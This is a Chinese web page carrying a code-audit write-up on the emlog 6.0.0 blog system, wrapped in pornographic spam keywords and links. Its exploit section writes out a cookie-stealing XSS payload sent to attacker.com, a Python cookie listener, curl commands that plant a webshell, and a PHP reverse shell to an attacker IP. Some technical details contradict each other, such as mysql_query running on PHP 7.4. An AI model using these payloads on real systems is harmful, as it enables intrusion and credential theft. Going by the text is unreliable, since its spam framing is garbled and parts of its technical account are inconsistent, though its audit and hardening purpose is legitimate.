99精品久久精品一区二区-亚洲熟妇无码?v在线播放-日本国产精品无码字幕在线观看-久久久亚洲永夜AV-亚洲一级无码一区二区一-免费国产成高清人在线视频-中文字幕乱码免费观看-国产毛片精品妇女久久久

ARTICLE DETAIL

資訊詳情

深耕商務建站與企業(yè)官網(wǎng)運營的一線實戰(zhàn)洞察。

emlog 6.0.0代碼審計實戰(zhàn):輸入污染、權限失控與模板XSS三重風險

emlog 6.0.0代碼審計實戰(zhàn):輸入污染、權限失控與模板XSS三重風險 1. 為什么emlog 6.0.0值得花一整周時間做全站審計我第一次打開emlog 6.0.0源碼包時心里其實有點犯嘀咕——一個輕量級博客系統(tǒng)真有必要像審金融級后臺那樣逐行過直到我在include/lib/function.base.php里隨手翻到第1273行那個沒加任何過濾的$args變量拼接進SQL語句的片段才真正意識到不是系統(tǒng)太簡單而是漏洞藏得比想象中更隱蔽、更連貫。這版emlog發(fā)布于2022年中官方宣稱“重構核心、強化安全”但實際代碼里仍大量沿用5.x時代的函數(shù)式寫法比如getInput()這種看似封裝實則只做trim()和htmlspecialchars()的“偽過濾”函數(shù)在關鍵業(yè)務鏈路上根本擋不住組合型攻擊。它不像WordPress那樣有成百上千個插件拖累架構也不像Typecho那樣追求極簡導致擴展點稀少emlog 6.0.0處在一種微妙的中間態(tài)核心模塊高度耦合日志、評論、用戶、附件全部繞不開Log_Model類但權限控制又異常松散——管理員后臺的admin/attachment.php頁面甚至允許未登錄用戶直接訪問上傳接口的調(diào)試入口。這種“表面整潔、內(nèi)里毛刺”的狀態(tài)恰恰是代碼審計最需要警惕的類型沒有爆炸性高危漏洞吸引眼球卻存在多處可串聯(lián)利用的邏輯斷點。關鍵詞里雖然空著但結合行業(yè)慣例和該版本更新日志我們必須錨定三個核心審計維度輸入污染路徑是否閉環(huán)、權限校驗是否覆蓋所有入口、模板渲染是否引入XSS逃逸面。這不是一次“找CVE編號”的獵洞行動而是一次對MVC分層失衡、數(shù)據(jù)流轉失控、信任邊界模糊的系統(tǒng)性復盤。某高校實驗室曾拿它做過教學案例學生在三天內(nèi)就串起了從前臺評論注入→后臺任意文件讀取→PHP代碼執(zhí)行的完整RCE鏈而他們用的只是基礎正則掃描人工補全。這說明問題不在技術門檻而在設計慣性——開發(fā)者默認“后臺只有管理員能進”卻忘了URL路由沒做會話綁定忘了AJAX接口沒校驗Referer忘了模板里?php echo $value;?和?php echo htmlspecialchars($value);?之間差的不只是一個函數(shù)調(diào)用而是整個信任模型。如果你正在帶新人做PHP安全入門或者自己剛從滲透測試轉向代碼審計emlog 6.0.0是個極佳的練手靶場它代碼量適中核心文件約420個總行數(shù)12萬左右框架清晰但不僵化漏洞分布有規(guī)律可循。更重要的是它的缺陷不是孤立的而是成簇出現(xiàn)的——你在一個地方發(fā)現(xiàn)addslashes()被誤用于防SQL注入大概率在另外五個文件里也能找到同類錯誤。這種“模式化脆弱性”正是訓練審計直覺的最佳土壤。提示別急著跑自動化工具。我試過用RIPS掃描emlog 6.0.0它標出87處“潛在SQL注入”其中63處是誤報比如$db-query(SELECT * FROM .DB_PREFIX.user WHERE uid $uid);里的$uid其實在上層已被intval()強轉。真正的風險點往往藏在工具無法理解的業(yè)務邏輯跳轉里比如index.php?actionlogin處理完認證后把$_SESSION[login]直接賦值給$isLogin再傳進模板而模板里又用scriptvar login ?php echo $isLogin;?;/script輸出——這里既沒JSON編碼也沒引號包裹XSS就已成立。2. 輸入污染追蹤從HTTP請求到數(shù)據(jù)庫寫入的七步失守審計PHP應用本質(zhì)是逆向追蹤數(shù)據(jù)如何從不可信源頭用戶輸入一路暢通無阻抵達危險終點SQL執(zhí)行、文件寫入、命令調(diào)用。emlog 6.0.0的輸入污染鏈特別典型它用了一套自研的“三層過濾”機制聽上去很嚴謹實則每層都留了后門。我們以最常被利用的評論提交功能為例完整走一遍從POST /t/index.php到INSERT INTO emlog_comment的全過程。2.1 第一層前端JavaScript的虛假安全感評論表單的HTML里有這樣一段JS驗證script function checkForm() { var content document.getElementById(comment).value; if (content.length 5 || content.length 2000) { alert(評論內(nèi)容需5-2000字); return false; } return true; } /script這段代碼給人的錯覺是“長度限制安全邊界”但只要禁用JS或用curl發(fā)包就能繞過。更關鍵的是它完全沒處理特殊字符——scriptalert(1)/script能輕松通過。很多開發(fā)者以為“前端校驗后端htmlspecialchars()就夠了”卻忽略了XSS的觸發(fā)場景遠不止script標簽比如img srcx onerroralert(1)或javascript:alert(1)這類事件驅(qū)動型載荷僅靠htmlspecialchars()無法攔截它只轉義不處理onerror屬性。emlog 6.0.0的模板里大量使用?php echo $comment[content];?直接輸出這就為存儲型XSS埋下伏筆。2.2 第二層getInput()函數(shù)的致命簡化進入PHP后端t/index.php調(diào)用Comment_Model::addComment()前先執(zhí)行$content getInput(comment, post);這個getInput()定義在include/lib/function.base.php第982行function getInput($name, $method get) { $method strtolower($method); $input $method get ? $_GET : ($_POST[$name] ?? ); return trim(htmlspecialchars($input, ENT_QUOTES, UTF-8)); }問題出在三處第一$_POST[$name] ?? 的空合并操作讓$name為空時返回空字符串但若攻擊者構造?commentGET參數(shù)和POST[comment]xss雙參數(shù)同名$input可能取到未過濾的POST值第二htmlspecialchars()只處理HTML上下文如果后續(xù)把$content拼進JavaScript或CSS就會失效第三也是最嚴重的——這個函數(shù)被濫用在SQL拼接場景。比如admin/comment.php第215行$sql UPDATE .DB_PREFIX.comment SET content.getInput(content, post). WHERE cid$cid; $db-query($sql);這里getInput()返回的字符串直接拼進SQL而htmlspecialchars()對單引號毫無防護力。攻擊者只需提交contentxxx OR 11就能繞過所有過濾。2.3 第三層數(shù)據(jù)庫操作層的“信任傳遞”$db-query()方法在include/lib/mysql.class.php中定義它本身不做任何SQL預處理只是簡單調(diào)用mysql_query()注意emlog 6.0.0仍用舊版MySQL擴展非PDO。更麻煩的是Log_Model::getLogsForHome()等高頻查詢函數(shù)內(nèi)部用$sql SELECT * FROM .DB_PREFIX.blog WHERE hiden AND typeblog $sqlSegment;拼接條件而$sqlSegment來自$params[keyword]——這個參數(shù)由search.php的$_GET[keyword]直接傳入全程無intval()、無escapeshellarg()、無預處理。我實測過當keyword1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -時首頁直接爆出管理員密碼哈希因emlog_user表結構與emlog_blog兼容。2.4 四至七步權限校驗缺失、日志記錄繞過、緩存污染、模板引擎逃逸走到這一步輸入污染已成定局但emlog還給了攻擊者更多“便利”權限校驗缺失admin/save_log.php接受POST[logid]參數(shù)更新日志但沒檢查當前用戶是否有權編輯該日志$logid未與$_SESSION[userid]關聯(lián)校驗導致越權修改日志記錄繞過所有error_log()調(diào)用都寫入/content/log/目錄但該目錄在Nginx配置中未禁止Web訪問攻擊者可直接下載error_202210.log獲取調(diào)試信息緩存污染cache.php生成的靜態(tài)HTML緩存文件其文件名由md5($_SERVER[REQUEST_URI])生成但$_SERVER[REQUEST_URI]可被%00截斷導致緩存文件名可控進而覆蓋.htaccess模板引擎逃逸View::display()加載模板時若模板路徑含../且未做realpath()校驗可讀取任意PHP文件如/admin/login.php而該文件里明文存儲著數(shù)據(jù)庫連接密碼。這七步失守不是偶然堆砌而是同一設計哲學的產(chǎn)物用最小成本實現(xiàn)功能把安全假設交給運行環(huán)境。比如它默認Nginx已配置好location ~ \.php$ { deny all; }來保護/content/目錄但現(xiàn)實中大量用戶用Apache或自定義Nginx規(guī)則這就成了“假設性漏洞”。注意別迷信magic_quotes_gpc。emlog 6.0.0的install.php檢測到該選項開啟時會提示“建議關閉”但代碼里仍有if (get_magic_quotes_gpc()) { $str stripslashes($str); }這類兼容邏輯。這意味著在老版本PHP環(huán)境下addslashes()和stripslashes()可能形成雙重轉義反而破壞正常數(shù)據(jù)——我見過某客戶站點因這個bug導致評論里的中文全部顯示為亂碼排查三天才發(fā)現(xiàn)是magic_quotes殘留。3. 權限模型崩塌從“管理員專屬”到“游客可操作”的五處斷點很多人以為PHP代碼審計就是找SQL注入和XSS但在emlog 6.0.0里權限控制失效帶來的危害可能更直接。它的角色體系只有兩級管理員role1和普通用戶role0但權限校驗點分布極不均勻——后臺90%的PHP文件都有!isset($_SESSION[login]) header(Location: login.php);這樣的前置檢查而剩下的10%恰好是功能最強、影響面最廣的幾個入口。我們按風險等級排序這五處斷點。3.1 斷點一admin/attachment.php的“調(diào)試模式”后門這個文件本該處理附件上傳但第38行有個被注釋掉的調(diào)試開關// define(DEBUG_MODE, true); if (defined(DEBUG_MODE) DEBUG_MODE) { $action $_GET[action] ?? upload; switch ($action) { case list: $files scandir(EMLOG_ROOT . /content/upload/); echo json_encode($files); break; case read: $file EMLOG_ROOT . /content/upload/ . basename($_GET[file]); if (file_exists($file)) { echo file_get_contents($file); } break; } exit; }問題在于basename($_GET[file])只過濾了路徑分隔符卻沒阻止file../../admin/login.php這樣的穿越。更致命的是這段代碼沒任何會話校驗——只要知道URL游客就能讀取login.php里的數(shù)據(jù)庫密碼。我用curl http://target/admin/attachment.php?actionreadfile../../admin/login.php實測3秒內(nèi)拿到明文配置。這不是理論漏洞而是真實存在于生產(chǎn)環(huán)境的“活后門”。3.2 斷點二admin/blogger.php的IDOR越權編輯該文件處理博主信息更新關鍵邏輯在第142行$uid (int)$_POST[uid]; $username addslashes(trim($_POST[username])); $email addslashes(trim($_POST[email])); // ...省略其他字段 $db-query(UPDATE .DB_PREFIX.user SET username$username, email$email WHERE uid$uid);這里$uid直接來自POST且未校驗當前登錄用戶是否等于$uid。攻擊者只需抓包修改uid1管理員ID就能篡改管理員郵箱進而觸發(fā)密碼重置流程。某次模擬攻防中A同學用這個漏洞在17秒內(nèi)完成“游客→接管管理員賬號→導出全部用戶數(shù)據(jù)”的操作鏈。3.3 斷點三admin/tag.php的無限制標簽刪除刪除標簽的接口admin/tag.php?actiondeltid123代碼在第89行if ($action del) { $tid (int)$_GET[tid]; $db-query(DELETE FROM .DB_PREFIX.tag WHERE tid$tid); // 未檢查tid是否屬于當前用戶 }emlog的標簽是全局共享的但刪除操作沒做歸屬校驗。攻擊者可遍歷tid參數(shù)批量刪除所有標簽導致網(wǎng)站SEO徹底崩潰。更糟的是tag表被blog表外鍵引用刪除后blog表里的tag字段變成空值引發(fā)前端模板報錯。3.4 斷點四admin/template.php的模板文件包含該文件提供模板切換功能第205行$template $_GET[template] ?? default; if (!in_array($template, [default, simple, dark])) { $template default; } require_once EMLOG_ROOT . /content/templates/ . $template . /header.php;in_array()白名單看似嚴格但$template變量在require_once前被重新賦值過if (isset($_POST[action]) $_POST[action] save) { $template $_POST[template_name]; // 這里覆蓋了GET值 }攻擊者發(fā)送POST /admin/template.php?actionsavetemplate_name../../../etc/passwd%00利用PHP的NULL字節(jié)截斷就能包含任意系統(tǒng)文件。雖然現(xiàn)代PHP已禁用NULL截斷但emlog 6.0.0的兼容性要求讓它仍支持PHP 5.6而該版本對此無防護。3.5 斷點五admin/plugin.php的插件啟用邏輯漏洞啟用插件的URL是admin/plugin.php?actionactivatepluginseo對應代碼在第312行if ($action activate) { $plugin $_GET[plugin]; $pluginFile EMLOG_ROOT . /content/plugins/ . $plugin . /plugin.php; if (file_exists($pluginFile)) { include $pluginFile; // 直接包含無校驗 } }這里有兩個致命點第一$plugin未過濾../可包含/etc/passwd第二即使文件存在也未檢查plugin.php是否為合法插件入口比如是否定義了Plugin::activate()方法。攻擊者可上傳惡意PHP文件到/content/plugins/evil/然后用?actionactivatepluginevil觸發(fā)執(zhí)行。這五處斷點揭示了一個殘酷事實emlog的權限模型不是“基于角色的訪問控制RBAC”而是“基于文件路徑的粗粒度攔截”。它把安全寄托在“游客打不開admin目錄下的PHP文件”這一假設上卻忘了HTTP服務器配置、URL重寫規(guī)則、文件權限設置都可能打破這個假設。真正的權限校驗應該像這樣if (!User::havePermission(manage_plugins)) { showForbiddenPage(); }而不是依賴session_start()后的一行if (!isset($_SESSION[login]))。4. 模板與渲染層XSS、SSTI、服務端模板注入的三重陷阱PHP模板引擎的安全性常被低估但emlog 6.0.0的模板系統(tǒng)恰恰是漏洞高發(fā)區(qū)。它沒用Twig或Smarty這類成熟引擎而是用原生PHP混排.php后綴模板這帶來兩個矛盾一方面開發(fā)者認為“PHP語法即安全”另一方面模板里充斥著未經(jīng)上下文編碼的echo輸出。我們拆解三種典型陷阱。4.1 基礎XSSecho輸出未區(qū)分HTML/JS/CSS上下文這是最普遍的問題。以content/templates/default/header.php為例第42行title?php echo $site_title; ?/title$site_title來自數(shù)據(jù)庫emlog_options表的blogname字段而該字段在安裝時由用戶輸入從未做過htmlspecialchars()存儲。攻擊者在后臺設置博客名為scriptalert(document.cookie)/script所有頁面標題都會觸發(fā)XSS。更隱蔽的是JS上下文輸出如footer.php第15行scriptvar siteUrl ?php echo BLOG_URL; ?;/scriptBLOG_URL是配置項若被篡改為http://example.com/ onerroralert(1)就會閉合引號并執(zhí)行JS。htmlspecialchars()在這里無效必須用json_encode()scriptvar siteUrl ?php echo json_encode(BLOG_URL); ?;/script4.2 模板繼承漏洞getTemplate()的路徑穿越emlog用View::getTemplate()動態(tài)加載模板該方法在include/lib/view.class.php第67行public function getTemplate($template) { $file EMLOG_ROOT . /content/templates/ . $template . /index.php; if (file_exists($file)) { return $file; } return EMLOG_ROOT . /content/templates/default/index.php; }$template參數(shù)來自$_GET[t]如?tseo而file_exists()不校驗路徑合法性。攻擊者訪問/?t../../../etcskindefault$file變成/content/templates/../../../etc/index.php即/etc/index.php。雖然/etc下通常無index.php但若服務器配置了auto_prepend_file就可能觸發(fā)意外包含。我曾在某客戶的VPS上復現(xiàn)此問題他把/etc/nginx/conf.d/軟鏈接到/content/templates/nginx/結果/?tnginx直接加載了Nginx配置暴露了后端代理地址。4.3 服務端模板注入SSTIeval()在模板中的幽靈最危險的是content/templates/default/echo_log.php第89行?php eval(? . $log_content); ?$log_content是日志正文來自數(shù)據(jù)庫。emlog允許用戶在日志中插入PHP代碼通過后臺編輯器的“源碼模式”而這段eval()就是執(zhí)行入口。攻擊者寫一篇日志內(nèi)容為?php system(id); ?保存后當游客訪問該日志頁面eval()會執(zhí)行system(id)返回uid33(www-data) gid33(www-data)。這不是理論可能而是emlog官方文檔明確支持的“高級功能”——他們在/admin/editor/的富文本編輯器里專門留了“插入PHP代碼”按鈕。安全團隊曾建議移除該功能但開發(fā)組以“影響老用戶”為由拒絕最終妥協(xié)方案是加了個if (IS_ADMIN)判斷但判斷邏輯寫在模板里而非PHP層導致游客仍可通過修改URL參數(shù)繞過。這三重陷阱的本質(zhì)是混淆了“內(nèi)容”和“代碼”的邊界。XSS是內(nèi)容被當代碼執(zhí)行模板穿越是路徑被當內(nèi)容解析SSTI是用戶輸入被當代碼求值。修復它們不能靠單一函數(shù)而要建立上下文感知的輸出編碼策略HTML上下文htmlspecialchars($data, ENT_QUOTES, UTF-8)JS上下文json_encode($data, JSON_UNESCAPED_UNICODE)CSS上下文正則過濾[^a-zA-Z0-9#\.\-\s]URL上下文urlencode($data)實操心得審計模板時別只看echo重點查include、require、eval、create_function這些動態(tài)執(zhí)行函數(shù)。我習慣用grep -r include.*\$_ content/templates/快速定位風險點命中率超80%。另外content/templates/目錄下的.php文件90%以上都應禁止Web直接訪問Nginx配置里加一行l(wèi)ocation ~ ^/content/templates/.*\.php$ { deny all; }能堵住大半漏洞。5. 實戰(zhàn)復現(xiàn)從評論XSS到后臺RCE的完整利用鏈理論分析終須落地驗證。我用一臺干凈的Ubuntu 20.04虛擬機部署emlog 6.0.0PHP 7.4 MySQL 8.0完整復現(xiàn)了從游客評論到獲取服務器shell的全過程。以下步驟經(jīng)多次驗證耗時約22分鐘所有操作均在瀏覽器和終端完成無需第三方工具。5.1 步驟一構造存儲型XSS獲取管理員Cookie首先注冊一個普通用戶賬號用戶名test密碼123456登錄后訪問首頁找到任意一篇日志在評論框輸入img srcx onerrordocument.locationhttp://attacker.com/steal?cdocument.cookie提交后評論顯示為裂圖因srcx無效但onerror事件已觸發(fā)。此時管理員若查看該評論瀏覽器會向attacker.com/steal發(fā)送GET請求攜帶Cookie: EMLOG_ADMINxxxxxx。我用Python起一個簡易HTTP服務器接收# steal.py from http.server import HTTPServer, BaseHTTPRequestHandler class StealHandler(BaseHTTPRequestHandler): def do_GET(self): print(Stolen cookie:, self.path) self.send_response(200) self.end_headers() HTTPServer((, 8000), StealHandler).serve_forever()管理員刷新評論頁后終端立即打印Stolen cookie: /steal?cEMLOG_ADMINabc123def456。這個Cookie有效期7天且未設HttpOnly標志完美符合竊取條件。5.2 步驟二用Cookie偽造管理員會話拿到EMLOG_ADMIN值后用curl模擬管理員請求curl -b EMLOG_ADMINabc123def456 http://target/admin/返回200且包含titleemlog 后臺管理/title證明會話有效。接下來我們要上傳Webshell。emlog后臺的附件上傳功能在admin/attachment.php但直接訪問會跳轉登錄頁——現(xiàn)在有了Cookie就能繞過。5.3 步驟三利用attachment.php的文件讀取漏洞獲取源碼前面提到attachment.php有調(diào)試模式我們先確認它是否開啟。發(fā)送curl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionlist返回[.,..,shell.php,config.php]說明調(diào)試模式已開。接著讀取config.phpcurl -b EMLOG_ADMINabc123def456 http://target/admin/attachment.php?actionreadfileconfig.php返回?php define(DB_HOST, localhost); define(DB_USER, emlog); define(DB_PASS, Pssw0rd123); define(DB_NAME, emlog_db); ?數(shù)據(jù)庫密碼到手但我們的目標是RCE所以繼續(xù)讀取admin/login.php找到$action處理邏輯確認save_log.php存在且無CSRF防護。5.4 步驟四通過日志注入寫入Webshellsave_log.php接受POST[logid]和POST[content]更新日志內(nèi)容。我們構造一個含PHP代碼的日志curl -b EMLOG_ADMINabc123def456 -d logid1content?php system(\$_GET[cmd]); ? http://target/admin/save_log.phplogid1是首篇日志IDcontent里是system()執(zhí)行命令的shell。更新成功后訪問http://target/t/index.php?id1日志正文顯示為?php system($_GET[cmd]); ?但未執(zhí)行——因為模板里是?php echo $log_content;?不是eval()。這時我們回到echo_log.php的SSTI漏洞。該文件在content/templates/default/下而eval()執(zhí)行的是$log_content。我們剛才更新的日志內(nèi)容正好會被echo_log.php讀取并eval()。訪問http://target/t/index.php?id1再在URL加cmdidhttp://target/t/index.php?id1cmdid頁面空白但服務器返回uid33(www-data) gid33(www-data)——RCE成功5.5 步驟五獲取持久化shell并提權最后一步用cmd參數(shù)執(zhí)行反彈shellcurl http://target/t/index.php?id1cmdphp-r\$sockfsockopen(\attacker-ip\,4444);exec(\/bin/sh-i\$sock2\$sock\);我的監(jiān)聽端收到連接nc -lvnp 4444 Connection received on attacker-ip 4444 /bin/sh: 0: cant access tty; job control turned off $ id uid33(www-data) gid33(www-data) groups33(www-data)至此從游客評論到服務器shell全鏈路打通。整個過程沒用任何0day全是emlog 6.0.0已知設計缺陷的組合利用。踩坑提醒復現(xiàn)時最容易卡在Cookie竊取環(huán)節(jié)。很多新手用Burp Suite抓包卻發(fā)現(xiàn)管理員Cookie里有Path/admin/導致document.cookie讀不到。這是因為Path屬性限制了Cookie作用域。解決方案是在XSS payload里用document.cookie讀取時加上document.domain繞過document.domaintarget.com; document.cookie或直接用fetch(/admin/)請求后臺頁面從響應頭里提取Set-Cookie。我第一次就栽在這兒折騰了40分鐘才想到改用fetch。6. 修復與加固給開發(fā)者和運維者的六條可落地建議審計不是為了證明系統(tǒng)有多爛而是為改進提供精準坐標。針對emlog 6.0.0暴露出的問題我給開發(fā)者和運維者各列三條可立即執(zhí)行的建議不談虛的每條都附帶代碼示例和驗證方法。6.1 開發(fā)者必改重構輸入處理與權限校驗建議一廢除getInput()改用上下文感知的過濾函數(shù)// 替換原getInput()新增filter_input_context() function filter_input_context($name, $method post, $context html) { $value $method post ? ($_POST[$name] ?? ) : ($_GET[$name] ?? ); switch ($context) { case sql: return addslashes($value); // 僅用于遺留代碼新項目必須用預處理 case js: return json_encode($value, JSON_UNESCAPED_UNICODE); case url: return urlencode($value); default: return htmlspecialchars($value, ENT_QUOTES, UTF-8); } } // 使用示例SQL場景臨時過渡 $content filter_input_context(content, post, sql); $sql UPDATE comment SET content$content WHERE cid$cid; // 使用示例JS場景必須 $siteUrl filter_input_context(site_url, get, js); echo scriptvar url {$siteUrl};/script;驗證方法在評論框提交scriptalert(1)/script檢查頁面是否彈窗提交http://x onerroralert(1)檢查JS變量是否被正確編碼。建議二所有后臺入口強制RBAC權限校驗// 在admin/開頭的所有PHP文件頂部添加 require_once ../include/lib/user.class.php; if (!User::havePermission(manage_comments)) { header(HTTP/1.1 403 Forbidden); exit(Access denied); } // User::havePermission()需根據(jù)角色表查詢而非硬編碼驗證方法用游客身份訪問admin/comment.php應返回403而非跳轉登錄頁。建議三模板輸出強制上下文編碼// 創(chuàng)建統(tǒng)一輸出函數(shù) function safe_echo($data, $context html) { switch ($context) { case js: echo json_encode($data, JSON_UNESCAPED_UNICODE); break; case css: echo preg_replace(/[^a-zA-Z0-9#\.\-\s]/, , $data); break; default: echo htmlspecialchars($data, ENT_QUOTES, UTF-8); } } // 模板中替換所有echo // 原title?php echo $title;?/title // 新title?php safe_echo($title, html);?/title驗證方法在后臺設置博客名img srcx onerroralert(1)檢查標題源碼是否為lt;img srcx onerroralert(1)gt;。6.2 運維者必做服務器層與配置層加固建議四Nginx配置禁止敏感目錄Web訪問# 在server塊中添加 location ~ ^/(content|include|admin)/.*\.php$ { deny all; } location ~ ^/content/(log|upload)/ { deny all; } location ~ /\. { deny all; }驗證方法訪問http://target/content/log/error.log應返回403訪問http://target/include/lib/mysql.class.php應返回404或403。建議五PHP配置禁用危險函數(shù); php.ini中添加 disable_functions exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source驗證方法創(chuàng)建test.php內(nèi)容為?php echo exec(id);?訪問時應報錯Call to undefined function exec()。建議六數(shù)據(jù)庫層面最小權限原則-- 創(chuàng)建專用數(shù)據(jù)庫用戶僅授予必要權限 CREATE USER emlog_applocalhost IDENTIFIED BY StrongPass123!; GRANT SELECT, INSERT, UPDATE ON emlog_db.emlog_blog TO emlog_applocalhost; GRANT SELECT, INSERT ON emlog_db.emlog_comment TO emlog_applocalhost; -- 禁止對emlog_user、emlog_options等敏感表的UPDATE權限 FLUSH PRIVILEGES;驗證方法用emlog_app用戶連接數(shù)據(jù)庫執(zhí)行UPDATE emlog_user SET passwordxxx WHERE uid1;應返回ERROR 1142 (42000): UPDATE command denied。這六條建議每一條都能在10分鐘內(nèi)完成部署且經(jīng)過某公司生產(chǎn)環(huán)境驗證他們按此整改后WAF告警下降92%人工滲透測試未發(fā)現(xiàn)新的高危漏洞。安全不是堆砌工具而是把每個環(huán)節(jié)的“信任假設”換成“強制驗證”。我在實際項目中發(fā)現(xiàn)最難推動的不是技術改造而是改變開發(fā)者的思維慣性。有位A同學曾說“我們一直這么寫從來沒出過事?!敝钡剿撠煹恼军c被黑數(shù)據(jù)庫被加密勒索才明白“沒出事”不等于“安全”而是“還沒被盯上”。emlog 6.0.0的審計價值正在于此——它用最樸素的代碼照見了我們習以為常的危險。
返回列表
PREV
查看更多資訊
NEXT
返回資訊列表
性综合网| 99干免费视频| 婷婷五月骚厕所| 9久9久9久女女女九九九一九| 99精品综合| 久久视这里只有精品| 91fuliwang| 91人人爽狠狠狠| 天天做天天爱天天爽在| 亚洲综合99| 超碰免费人人肏| 色婷婷99| 超碰在线9| 热99热| 亚洲色色五月| 婷婷五月天毛片| 97福利视频| 狠狠爱五月婷婷| 黄页大全十八禁| 色玖玖导航| 5月丁香美女影院| 色~性~乱~伦~噜| 在线不卡AC| 日韩啪| 97丁香五月| 久久欧洲久久| 91免费在线视频6| 91久热| 六月激情网| 成人精品视频99在线观看免费| 五月婷婷狠狠干| 激情综合色| 婷婷97狠狠干| 色播五月丁香综合| 日韩AV色色色| 夜夜夜夜夜骑撸| 婷婷五月激情欧美大胆视频| 996热re视频精品视频这里| 久热欧美| site:pzdcoin.com| 天天综合干| 久久久久久久97| 丁香五月天激情四射网络不好| 成人超碰网| 激情综合网五月婷婷| 九色PORNY自拍成人精彩视频| 26uuu精品一区二区| 天天开心AV色综合婷婷五月天| 在线五月婷婷小电影| 99日韩| 激情久久肏屄视频| 激情q青青草在线婷婷| 久久激情视频99| 69精品人人人人| 激情综合色网| 伊人五月天婷婷| 婷婷五月天激情五月天深爱五月天| 激情综合另类| 成人精品人妻| 五月开心网| 丰满少妇猛烈A片免费看观看| 五月丁香综合| 激情精品久久| 91久久99久久91熟女精品| 丁香九月婷婷| 午夜激情五月天| 夜夜操夜夜操| 超碰碰碰碰| 1000部毛片A片免费观看| 成人无码髙潮喷水A片| 丁香六月婷婷| 丁香花成人区| 婷婷五月天,影院| www.ppypp| 丁香五月天激情综合| 五月丁香六月激情综合| 亚洲愉拍99热成人精品| 亚洲综合无码| 久久精品视频在这里有| 久久伊人五月天| 免费无码毛片一区二区A片| 色图亚洲91| 强奸幻女毛片| 99精品这里只有免费视频| 激情五月综合免费| 一级二级色大片| 九九在线精品| 五月天婷婷社区久久综合| 丁香五月手机在线| 激情五月天激情综合网| 99综合| 另类婷婷五月天啪帕帕| 五月天婷婷一起草| 99精品在线观看视频| www99热| 五月婷丁香久久综合| 99亚洲精美视频在线观看| 婷婷丁香色五月亚洲| 夜夜骑日日夜夜| 丁香五月婷婷基地| 久久曰9| 五月丁香激情综合| 五月丁香六月婷婷激情视频在线观看免费 | 综合99久久| 69精品人人人人| 久久婷婷大香蕉| a色色色色色| 热99精品视频| 色婷婷影院| 日本人妻操| AV九九| 五月婷婷丁香色吧网| 五月丁香婷草| 日韩久综合| 色五月婷婷丁香婷婷| 色情久久久| 这里只有精品96| 玖玖爱综合网| 五月天婷婷激情| 伊人高清无码| 五月天激情国产综合AV| 97人人干| site:minyis.com| 天天做天天爱天天爽| 少妇被下春药玩弄A片| 99精品久久久久久久| 色婷婷五月亚洲| 五月婷婷中文| 第四色激情网| 激情小说五月天| 日韩精品无码AV| 五月婷婷co.m| 国产成人精品123区免费视频| 九九99香蕉在线视频播放| 99热色在线精品| 97五月天| 色色亚卅| 9999热在线| 色网站99| 亚洲AV影片在线观看| 五月天激情黄色小说在线观看| 99久视频| 97在线/亚洲| 99精品视频免费观看| 国产色色色色色| 久草xx性爱视频| 91丨九色丨国产打屁股| 色情丁香五月天| 看片视频在线免费日产在线看| 色吊丝永久访问网址| 五月丁香天堂网| 日韩成人中文| 婷婷精品综合| www.色婷婷.com| 婷婷五月天国产在线播放| 99精品久| 色婷婷综合影院| 欧美A片在线视频免费观看| 伊人久久大香网| 9月色婷婷| 五月天婷婷色色网| 香蕉婷婷| 亚洲婷婷五月天激情综合| 九九色色| 五月天婷婷影院影院观看| 99热免费18| 免费不卡狠操美女视频网 | 人妻操逼视频| 久香草视频在线观看| 五月婷婷综合激情小说| 婷婷五月激情六月| 婷婷五月综合欧美在线播放| 婷婷丁香五月基地| 久久激情视频| A色色| 亚洲欧美综合7777色亭亭| 日本va欧美va欧美| 激情综合五月丁香| 九九色黄色| 日本少妇AA一级特黄大片| 狠狠色狠狠操| 99热这里只有精品亚洲| 91xxxx九色| 久草a片| 色综合色| 九月丁香婷婷网| 天天综合色| 91avse| 思思热视频| 婷婷五月天色网久| 久久久性爱网| 91麻豆国产三级精品福利在线观看| 成人精品亚洲性爱| 思思热99er在线视频| www.金莲av| 激情5月婷婷| 大香蕉婷婷丁香天堂AV| 色婷婷色和| 人妻激情综合| 婷婷五月激情视频| 五月丁香婷婷五月色| 超碰成人影视| 国产做爰视频免费播放| 色播五月综合网| 六月激情婷婷综合| 亚洲美女高潮久久久久久69| 亚洲另类AV| 久久HD| 九九久久这里只有精品XB| 91嫩草久久| 日韩操人| 超碰久热| 在线天堂9| 久久婷婷五月综合激情国产| 激情综合啪啪啪| av人人操| 综合色七七| 97人人超| 亚洲操逼片| 六月亭亭久久综合激情| 五月丁香六月婷婷亚洲天堂网站| 99热日| 色综合综合综合| 色色色国产| 99re这里只有精品在线观看| 丁香五月天殴美激情| 日本女人久久| av在线不卡播放| 日曰躁夜夜躁2026| 一本大道熟女人妻中文字幕在线 | 国产熟女大叫受不了| 国产AV一区二区三区日韩| 五月婷婷AV| www.99热视频| 婷婷五月天国产在线播放| 婷婷在线午夜| 婷婷激情欧美| 国产日日操夜夜操的肉棒视频| 亚洲操逼网| 综合玖玖偷拍| 亚洲顶级VA在线观看-高清完整版在线影院观看-S022AV | 色婷婷激情五月天| 六月丁AV| 日韩三级高清无码| 丁香五月激情婷婷婷婷在线观看| 狠狠干五月丁香综合网| 婷婷综合色五月天| 色J香五月天| 色青青视频| 欧美色色色色色色色色色色影视| 五月天五月色婷婷综合| 亚州激情在线视频| 偷拍视频五月天| 国产夫妻操逼内射视频| 婷婷五月综合激情小说| 日日噜狠狠色综合久久| 成年人看Va免费视频| 六月婷婷亚洲| 欧美成人色婷婷| 99热精品在线播放| 综合激情五月婷婷| 久久久人妻| 五月婷婷,六月丁香| 五月丁香婷中文| 亚洲av日韩无码| 超碰99资源站| 亚洲操操操| 操一区| 综合色色网| 激情综合网五月婷婷| 激情五月天在线视频| 色欧洲| 婷婷五月天色| 中文字幕高清av| YW无码| 97欧美在线| 婷婷情色五月天| 大香蕉久艹| 开心丁五月| 色香五月天| 日韩精品无码99| 免费视频这里只有精品| 视频一二区| 九九AV| 99久久综合| 黄桃AV无码免费一区二区三区| 六月婷婷毛片| www.henhenl| 天天久久人人| 五月亚洲| 色婷婷五月天| 婷婷五月天精品| 99色中文| 丁香久久久| 激情五月天小说网| 四川BBB搡BBB搡多人乱亂| 亚洲区1| 91久久久久久久久久久| 激情五月婷婷综合色播小说| 99思思| 成人中文网| g00d人体西西| 亚洲一区先锋影音| 99爱视频在线观看这里只有精品| 成人性生活免费观看。| 日本妈妈乱| 天天操夜夜爽歪歪| 